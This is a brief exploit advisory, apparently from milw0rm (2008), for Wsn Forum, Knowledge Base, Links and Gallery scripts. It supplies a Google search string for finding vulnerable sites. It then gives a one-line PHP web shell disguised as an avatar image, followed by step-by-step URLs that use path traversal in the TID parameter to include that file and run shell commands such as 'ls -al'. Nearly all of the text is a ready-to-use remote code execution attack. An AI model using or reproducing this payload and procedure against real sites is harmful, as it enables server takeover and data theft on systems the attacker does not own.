Author: otmorozok428, http://forum.antichat.ru
Products: Wsn Forum <= 4.1.43, Wsn Knowledge Base <= 4.1.36, Wsn Links <= 4.1.44, Wsn Gallery <= 4.1.30
Vendor: http://www.webmastersite.net
Googling: inurl:memberlist.php?action=profile
Code Execution Vulnerability:
Avatar evil.jpg source: <? system($_GET['cmd']); ?>
Enter to upload: http://www.site.com/forum/profile.php?action=editprofile&id=[Your User ID]
See the avatar name at your profile.
Upload evil avatar and go to: index.php?custom=yes&TID=../../attachments/avatars/[Avatar Name]&ext=jpg&cmd=ls -al
# milw0rm.com [2008-08-06]
